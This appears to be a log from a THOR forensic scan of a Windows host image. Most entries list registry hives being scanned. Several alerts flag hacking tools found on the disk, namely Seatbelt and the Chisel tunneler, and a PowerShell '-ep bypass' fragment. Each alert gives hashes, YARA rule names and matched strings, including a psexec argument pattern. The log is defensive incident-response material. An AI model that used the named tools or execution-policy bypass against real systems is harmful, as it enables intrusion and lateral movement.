Sep 10 12:32:49 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\AppData\Local\Packages\Microsoft.YourPhone_8wekyb3d8bbwe\Settings\settings.dat.LOG1
Sep 10 12:32:49 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\AppData\Local\Packages\Microsoft.YourPhone_8wekyb3d8bbwe\Settings\settings.dat.LOG2
Sep 10 12:32:49 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\AppData\Local\Packages\Microsoft.YourPhone_8wekyb3d8bbwe\SystemAppData\Helium\User.dat
Sep 10 12:32:49 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\AppData\Local\Packages\Microsoft.YourPhone_8wekyb3d8bbwe\SystemAppData\Helium\User.dat.LOG1
Sep 10 12:32:49 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\AppData\Local\Packages\Microsoft.ZuneMusic_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:32:49 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\AppData\Local\Packages\Microsoft.ZuneVideo_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:32:49 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\AppData\Local\Packages\MicrosoftCorporationII.QuickAssist_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:32:53 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\Settings\settings.dat
Sep 10 12:32:53 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\Settings\settings.dat.LOG1
Sep 10 12:32:53 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\Settings\settings.dat.LOG2
Sep 10 12:32:56 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\Settings\settings.dat
Sep 10 12:32:56 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\Settings\settings.dat.LOG1
Sep 10 12:32:56 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\Settings\settings.dat.LOG2
Sep 10 12:32:56 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\SystemAppData\Helium\User.dat
Sep 10 12:32:56 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\SystemAppData\Helium\User.dat.LOG1
Sep 10 12:32:56 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\SystemAppData\Helium\User.dat.LOG2
Sep 10 12:32:56 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\SystemAppData\Helium\UserClasses.dat
Sep 10 12:32:56 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\SystemAppData\Helium\UserClasses.dat.LOG1
Sep 10 12:32:56 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\SystemAppData\Helium\UserClasses.dat.LOG2
Sep 10 12:32:56 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\AppData\Local\Packages\MicrosoftWindows.CrossDevice_cw5n1h2txyewy\Settings\settings.dat
Sep 10 12:32:56 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\AppData\Local\Packages\MicrosoftWindows.CrossDevice_cw5n1h2txyewy\Settings\settings.dat.LOG1
Sep 10 12:32:56 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\AppData\Local\Packages\NcsiUwpApp_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:32:56 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\AppData\Local\Packages\NotepadPlusPlus_7njy0v32s6xk6\Settings\settings.dat
Sep 10 12:32:56 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\AppData\Local\Packages\Windows.CBSPreview_cw5n1h2txyewy\Settings\settings.dat
Sep 10 12:32:56 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\AppData\Local\Packages\Windows.PrintDialog_cw5n1h2txyewy\Settings\settings.dat
Sep 10 12:32:56 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\AppData\Local\Packages\c5e2524a-ea46-4f67-841f-6a9465d9d515_cw5n1h2txyewy\Settings\settings.dat
Sep 10 12:32:57 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\AppData\Local\Packages\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:32:57 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\AppData\Local\Packages\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\Settings\settings.dat.LOG1
Sep 10 12:32:57 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\AppData\Local\Packages\windows.immersivecontrolpanel_cw5n1h2txyewy\Settings\settings.dat
Sep 10 12:33:01 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Windows\Boot\DVD\EFI\BCD
Sep 10 12:33:01 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Windows\Boot\DVD\PCAT\BCD
Sep 10 12:34:02 WIN-LRTT94FA08M/10.100.5.12 THOR: Warning: MODULE: Filescan MESSAGE: Possibly Dangerous file found SCANID: S-BxzYg1khKSI SCORE: 65 FILE: E:\Windows\Logs\DISM\dism.log EXT: .log TYPE: UNKNOWN SIZE: 560370 MD5: dba12904afac370161cfd28c732b2c21 SHA1: 3daf25c187bd3c2e844180b055c79f857228a48b SHA256: 71437d11f083ddcd0731240f4cfbb3402a86824fb5b8c041238c246d2a6b296f FIRSTBYTES: efbbbf323032342d30362d30332031393a34363a / 2024-06-03 19:46: CREATED: Mon Jun  3 19:46:10.786 2024 MODIFIED: Tue Sep  3 02:33:23.464 2024 ACCESSED: Tue Sep  3 02:33:23.464 2024 PERMISSIONS: APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:R / APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:R / BUILTIN\Administrators:F / BUILTIN\Users:R / NT AUTHORITY\SYSTEM:F OWNER: NT AUTHORITY\SYSTEM REASON_1: YARA rule SUSP_PowerShell_Command_Rare_CmdLine_Arguments / Detects suspicious abbreviated forms of command line arguments used when executing powershell commands SUBSCORE_1: 65 REF_1: https://www.symantec.com/content/dam/symantec/docs/white-papers/living-off-the-land-turning-your-infrastructure-against-you-en.pdf SIGTYPE_1: internal SIGCLASS_1: YARA Rule MATCHED_1: Str1: " -ep bypass " in "mApi.dll: Parent process command line: powershell  -ep bypass - DismInitializeInternal\x0d\x0a2024-06-03 20:03:39, Inf" at 0xcf82 RULEDATE_1: 2020-01-02 TAGS_1: FILE, SCRIPT, SUSP, T1059_001 RULENAME_1: SUSP_PowerShell_Command_Rare_CmdLine_Arguments AUTHOR_1: Florian Roth REASONS_COUNT: 1
Sep 10 12:35:24 WIN-LRTT94FA08M/10.100.5.12 THOR: Warning: MODULE: Filescan MESSAGE: Possibly Dangerous file found SCANID: S-BxzYg1khKSI SCORE: 75 FILE: E:\Windows\Prefetch\CHISEL.EXE-B229BF2C.pf EXT: .pf TYPE: UNKNOWN SIZE: 4912 MD5: bc824fe606c21fe43dc69f373d45ea41 SHA1: 7aefd27689b8efda0b5854923c2897921044c40f SHA256: ee5bdecbeba8d849a518414544fc330c33755fcfa21980d9ef5df29fb457aee5 FIRSTBYTES: 4d414d04b2560000858ac6cba78abcbb888bbccb / MAMV˧ CREATED: Tue Sep  3 09:39:00.911 2024 MODIFIED: Tue Sep  3 09:39:00.911 2024 ACCESSED: Tue Sep  3 13:34:02.433 2024 PERMISSIONS: BUILTIN\Administrators:F OWNER: BUILTIN\Administrators REASON_1: Filename IOC \chisel.exe SUBSCORE_1: 75 REF_1: Lorenz Ransomware IOCs https://arcticwolf.com/resources/blog/lorenz-ransomware-chiseling-in/ SIGTYPE_1: internal SIGCLASS_1: Filename IOC MATCHED_1: \CHISEL.EXE REASONS_COUNT: 1
Sep 10 12:35:28 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Windows\Provisioning\Microsoft-Desktop-Provisioning-Sequence.dat
Sep 10 12:35:28 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Windows\Provisioning\Microsoft-Desktop-Provisioning.dat
Sep 10 12:35:30 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Windows\ServiceProfiles\LocalService\NTUSER.DAT
Sep 10 12:35:30 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Windows\ServiceProfiles\LocalService\NTUSER.DAT.LOG1
Sep 10 12:35:30 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Windows\ServiceProfiles\LocalService\NTUSER.DAT.LOG2
Sep 10 12:35:31 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Windows\ServiceProfiles\NetworkService\NTUSER.DAT
Sep 10 12:35:31 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Windows\ServiceProfiles\NetworkService\NTUSER.DAT.LOG1
Sep 10 12:35:31 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Windows\ServiceProfiles\NetworkService\NTUSER.DAT.LOG2
Sep 10 12:35:39 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\DeliveryOptimization\State\dosvcState.dat
Sep 10 12:35:39 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\DeliveryOptimization\State\dosvcState.dat.LOG1
Sep 10 12:35:39 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\DeliveryOptimization\State\dosvcState.dat.LOG2
Sep 10 12:35:39 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\DeliveryOptimization\State\migration.dat
Sep 10 12:35:39 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\DeliveryOptimization\State\migration.dat.LOG1
Sep 10 12:35:39 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\DeliveryOptimization\State\migration.dat.LOG2
Sep 10 12:35:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Windows\SysWOW64\BrokerFileDialog.dat
Sep 10 12:36:46 WIN-LRTT94FA08M/10.100.5.12 THOR: Alert: MODULE: Filescan MESSAGE: Malware file found SCANID: S-BxzYg1khKSI SCORE: 94 FILE: E:\Windows\SysWOW64\Seatbelt.exe EXT: .exe TYPE: EXE SIZE: 615936 MD5: 95395273974b9bf255413265ee94bd87 SHA1: 72f50deba374aed42d95b45e3c8a377ffc21b033 SHA256: 71a94a35e15540e8667968fef81882ccb00bbe7afe5486e505bff9a8204457d9 FIRSTBYTES: 4d5a90000300000004000000ffff0000b8000000 / MZ CREATED: Tue Sep  3 09:22:55.814 2024 MODIFIED: Tue Sep  3 09:22:55.814 2024 ACCESSED: Tue Sep  3 13:11:26.148 2024 PERMISSIONS: APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:R / APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:R / BUILTIN\Administrators:F / BUILTIN\Users:R / NT AUTHORITY\SYSTEM:F OWNER: NT AUTHORITY\SYSTEM DESC: Seatbelt LEGAL_COPYRIGHT: Copyright ©  2018 PRODUCT: Seatbelt ORIGINAL_NAME: Seatbelt.exe INTERNAL_NAME: Seatbelt.exe IMPHASH: f34d5f2d4577ed6d9ceec516c1f5a744 REASON_1: YARA rule HKTL_SeatBelt_ASCII_Art_Feb22_1 / Detects Seatbelt tool on disk or loaded into memory based on a very specific ASCII art image SUBSCORE_1: 85 REF_1: https://github.com/GhostPack/Seatbelt SIGTYPE_1: internal SIGCLASS_1: YARA Rule MATCHED_1: Str1: "%%%%%%%%%%%######%%%#%%####%  &%%**#                      @////(((&%%%%%%######################" in "\x00/\x00(\x00(\x00(\x00(\x00#\x00#\x00#\x00%\x00%\x00%\x00%\x00%\x00%\x00%\x00%\x00%\x00%\x00%\x00%\x00%\x00%\x00%\x00\x00\x80\xe5%\x00%\x00%\x00%\x00%\x00%\x00%\x00%\x00%\x00%\x00%\x00#\x00#\x00#\x00#\x00#\x00#\x00%\x00%\x00%\x00#\x00%\x00%\x00#\x00#\x00#\x00#\x00%\x00 \x00 \x00&\x00%\x00%\x00*\x00*\x00#\x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00@\x00/\x00/\x00/\x00/\x00(\x00(\x00(\x00&\x00%\x00%\x00%\x00%\x00%\x00%\x00#\x00#\x00#\x00#\x00#\x00#\x00#\x00#\x00#\x00#\x00#\x00#\x00#\x00#\x00#\x00#\x00#\x00#\x00#\x00#\x00#\x00#\x00(\x00(\x00(\x00(\x00(\x00(\x00(\x00(\x00(\x00(\x00(\x00(\x00(\x00(\x00(\x00(\x00(\x00(\x00(\x00\x00\x80\xe5#\x00%\x00#\x00%\x00%" at 0x70785 RULEDATE_1: 2022-02-26 TAGS_1: HKTL RULENAME_1: HKTL_SeatBelt_ASCII_Art_Feb22_1 AUTHOR_1: Florian Roth REASON_2: YARA rule HKTL_Seatbelt_Dec20_1 / Detects red team tools from FireEye's toolset SUBSCORE_2: 75 REF_2: https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html SIGTYPE_2: internal SIGCLASS_2: YARA Rule MATCHED_2: Str1: "(psexec64(.exe)?.*-p .*)" in ")\x00\x01-(\x00p\x00s\x00e\x00x\x00e\x00c\x00(\x00.\x00e\x00x\x00e\x00)\x00?\x00.\x00*\x00-\x00p\x00 \x00.\x00*\x00)\x00\x011(\x00p\x00s\x00e\x00x\x00e\x00c\x006\x004\x00(\x00.\x00e\x00x\x00e\x00)\x00?\x00.\x00*\x00-\x00p\x00 \x00.\x00*\x00)\x00\x01+(\x00w\x00i\x00n\x00r\x00m\x00(\x00.\x00v\x00b\x00s\x00)\x00?\x00.\x00*\x00-\x00p\x00 \x00.\x00*\x00)\x00\x01?(\x00w\x00" at 0x71e16 Str2: "storage\\slack-downloads'  ({0})  :  Run the 'SlackDownloads' command" in "\x00r\x00k\x00s\x00p\x00a\x00c\x00e\x00s\x00'\x00 \x00c\x00o\x00m\x00m\x00a\x00n\x00d\x00\x01\x80\x95 \x00 \x00 \x00 \x00'\x00\\\x00s\x00t\x00o\x00r\x00a\x00g\x00e\x00\\\x00s\x00l\x00a\x00c\x00k\x00-\x00d\x00o\x00w\x00n\x00l\x00o\x00a\x00d\x00s\x00'\x00 \x00 \x00(\x00{\x000\x00}\x00)\x00 \x00 \x00:\x00 \x00 \x00R\x00u\x00n\x00 \x00t\x00h\x00e\x00 \x00'\x00S\x00l\x00a\x00c\x00k\x00D\x00o\x00w\x00n\x00l\x00o\x00a\x00d\x00s\x00'\x00 \x00c\x00o\x00m\x00m\x00a\x00n\x00d\x00\x01/\\\x00A\x00p\x00p\x00D\x00a\x00t\x00a\x00\\\x00R\x00o\x00a\x00m\x00i\x00n\x00g\x00\\\x00S\x00l\x00a\x00c\x00k\x00\\\x00\x00=" at 0x7eabb Str3: "[*] Running commands remotely against the host '" in "o\x00r\x00d\x00 \x00a\x00r\x00g\x00u\x00m\x00e\x00n\x00t\x00 \x00\"\x00{\x000\x00}\x00\"\x00:\x00 \x00{\x001\x00}\x00\x00\x01\x00a[\x00*\x00]\x00 \x00R\x00u\x00n\x00n\x00i\x00n\x00g\x00 \x00c\x00o\x00m\x00m\x00a\x00n\x00d\x00s\x00 \x00r\x00e\x00m\x00o\x00t\x00e\x00l\x00y\x00 \x00a\x00g\x00a\x00i\x00n\x00s\x00t\x00 \x00t\x00h\x00e\x00 \x00h\x00o\x00s\x00t\x00 \x00'\x00\x017'\x00 \x00w\x00i\x00t\x00h\x00 \x00c\x00r\x00e\x00d\x00e\x00n\x00t\x00i\x00a\x00l\x00s\x00 \x00-\x00>\x00 \x00u\x00s\x00" at 0x70009 Str4: "\x04\x00\x0f\x00\x00\x04\x00\xf0\x00\x00\x04\xff\xff\xff\x7f\x04" in "\x04\xff\x0f\x0f\x00\x04\x01\x08\x02\x00\x04\xf8\x07\x02\x00\x04\x0e\x00\x00\x00\x04\x0f\x00\x00\x00\x04\x11\x00\x00\x00\x04\xef\x03\x00\x00\x04\x00\x04\x00\x00\x04\x00\x10\x00\x00\x04\xf0\x00\x00\x00\x04\x00\x0f\x00\x00\x04\x00\xf0\x00\x00\x04\xff\xff\xff\x7f\x04\xff\xff\x1f\x00\x04\[...] RULEDATE_2: 2020-12-09 TAGS_2: EXE, HKTL RULENAME_2: HKTL_Seatbelt_Dec20_1 AUTHOR_2: Florian Roth REASONS_COUNT: 7
Sep 10 12:36:46 WIN-LRTT94FA08M/10.100.5.12 THOR: Alert: MODULE: Filescan MESSAGE: Malware file found SCANID: S-BxzYg1khKSI SCORE: 90 FILE: E:\Windows\SysWOW64\chisel.exe EXT: .exe TYPE: EXE SIZE: 9006080 MD5: 6ddee3e7fa0969931f9ec465e9c8965a SHA1: 12527700408fd8e700ef290bb230a88f63fd56c1 SHA256: d8090f5058db31956d0503d0e4c9e16504d58623ba481715609a8ff1303d6e72 FIRSTBYTES: 4d5a90000300000004000000ffff00008b000000 / MZ CREATED: Tue Sep  3 09:36:06.796 2024 MODIFIED: Tue Sep  3 09:36:06.796 2024 ACCESSED: Tue Sep  3 13:11:25.414 2024 PERMISSIONS: APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:R / APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:R / BUILTIN\Administrators:F / BUILTIN\Users:R / NT AUTHORITY\SYSTEM:F OWNER: NT AUTHORITY\SYSTEM IMPHASH: 4f2f006e2ecf7172ad368f8289dc96c1 REASON_1: YARA rule HKTL_Chisel_Feb22_1 / Detects TCP/UDP tunneling tool Chisel often used by threat groups SUBSCORE_1: 80 REF_1: https://github.com/jpillora/chisel SIGTYPE_1: internal SIGCLASS_1: YARA Rule MATCHED_1: Str1: "http://admin:password@my-server.com:8081" in "be specified\x0a    inside the URL.\x0a    For example, http://admin:password@my-server.com:8081\x0a            or: socks://admin:password@my-server." at 0x4f2f14 Str2: "Usage: chisel server [options]" in "6FFB7DC90A6C08F4DF435C934063199FFFFFFFFFFFFFFFF\x0a  Usage: chisel server [options]\x0a\x0a  Options:\x0a\x0a    --host, Defines the HTTP listeni" at 0x4f119e Str3: "$HOME/.cache/chisel" in "mains.\x0a    The resulting files are cached in the \"$HOME/.cache/chisel\" directory.\x0a    You can modify this path by setti" at 0x4f1f57 Str4: "github.com/jpillora/chisel/" in "act,omitempty\"\x00 *func(*bigmod.Nat) bigmod.choice\x00!github.com/jpillora/chisel/client\x00!github.com/jpillora/chisel/server\x00!*func(f" at 0x41bbd2 Str5: "proxy#%s" in "mebad instRSV1 setRSV2 setRSV3 setbad MASKSSH_WAITproxy#%s3des-cbcpasswordhost keynistp256nistp384nistp521tr" at 0x4cefb5 Str6: "conn#%d" in "aEd25519MD2-RSAMD5-RSAserial:[%d/%d][socks]tcp: %sconn#%dOpen %sarcfourssh-rsassh-dsssshtypePRIVATEhttp-01m" at 0x4ce962 Str7: "SSH_WAIT" in "A1DNS namebad instRSV1 setRSV2 setRSV3 setbad MASKSSH_WAITproxy#%s3des-cbcpasswordhost keynistp256nistp384ni" at 0x4cefad RULEDATE_1: 2022-02-01 TAGS_1: EXE, HKTL, T1071_004 RULENAME_1: HKTL_Chisel_Feb22_1 AUTHOR_1: Florian Roth REASON_2: YARA rule HKTL_PUA_Chisel_TCP_Tunneling_Oct20_1 / Detects Chisel TCP Tunneling tool SUBSCORE_2: 75 REF_2: https://github.com/jpillora/chisel SIGTYPE_2: internal SIGCLASS_2: YARA Rule MATCHED_2: Str1: "http://admin:password@my-server.com:8081" in "be specified\x0a    inside the URL.\x0a    For example, http://admin:password@my-server.com:8081\x0a            or: socks://admin:password@my-server." at 0x4f2f14 Str2: "github.com/jpillora/chisel/" in "act,omitempty\"\x00 *func(*bigmod.Nat) bigmod.choice\x00!github.com/jpillora/chisel/client\x00!github.com/jpillora/chisel/server\x00!*func(f" at 0x41bbd2 Str3: "Listening on %s://%s:%s%s" in "Only one stdio is allowedLogin failed for user: %sListening on %s://%s:%s%sreflect: Bits of nil Typereflect.StructOf: field \"" at 0x4d8f64 Str4: "Usage: chisel [command] [--help]" in "RtlDosPathNameToRelativeNtPathName_U_WithStatus\x0a  Usage: chisel [command] [--help]\x0a\x0a  Version: internal error: should have a body in" at 0x4e7ba2 RULEDATE_2: 2020-10-05 TAGS_2: EXE, HKTL, T1071_004 RULENAME_2: HKTL_PUA_Chisel_TCP_Tunneling_Oct20_1 AUTHOR_2: Florian Roth REASONS_COUNT: 3
Sep 10 12:37:45 WIN-LRTT94FA08M/10.100.5.12 THOR: Alert: MODULE: Filescan MESSAGE: Malware file found SCANID: S-BxzYg1khKSI SCORE: 85 FILE: E:\Windows\SysWOW64\s.txt EXT: .txt TYPE: UNKNOWN SIZE: 450544 MD5: e2d91cf28e0a5408859397d8e7473aa8 SHA1: f49dc767c7fe4eade8239976483ee330a748d76d SHA256: 9f5692930de02fe728cad375108f64ccd19bd14ce7aa9dda59a4340f4a8480eb FIRSTBYTES: 0a0a202020202020202020202020202020202020 /                      CREATED: Tue Sep  3 09:23:34.642 2024 MODIFIED: Tue Sep  3 09:25:29.294 2024 ACCESSED: Tue Sep  3 09:28:18.102 2024 PERMISSIONS: APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:R / APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:R / BUILTIN\Administrators:F / BUILTIN\Users:R / NT AUTHORITY\SYSTEM:F OWNER: NT AUTHORITY\SYSTEM REASON_1: YARA rule HKTL_SeatBelt_ASCII_Art_Feb22_1 / Detects Seatbelt tool on disk or loaded into memory based on a very specific ASCII art image SUBSCORE_1: 85 REF_1: https://github.com/GhostPack/Seatbelt SIGTYPE_1: internal SIGCLASS_1: YARA Rule MATCHED_1: Str1: "%%%%%%%%%%%######%%%#%%####%  &%%**#                      @////(((&%%%%%%######################" in "&%%%%%#%################//((((###%%%%%%%%%%%%%%%\x0d\x0a%%%%%%%%%%%######%%%#%%####%  &%%**#                      @////(((&%%%%%%######################(((((((((((((((((((\x0d\x0a#%#%%%%%%%#######%#%%####### " at 0x15e RULEDATE_1: 2022-02-26 TAGS_1: HKTL RULENAME_1: HKTL_SeatBelt_ASCII_Art_Feb22_1 AUTHOR_1: Florian Roth REASONS_COUNT: 1
Sep 10 12:39:03 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\BrokerFileDialog.dat
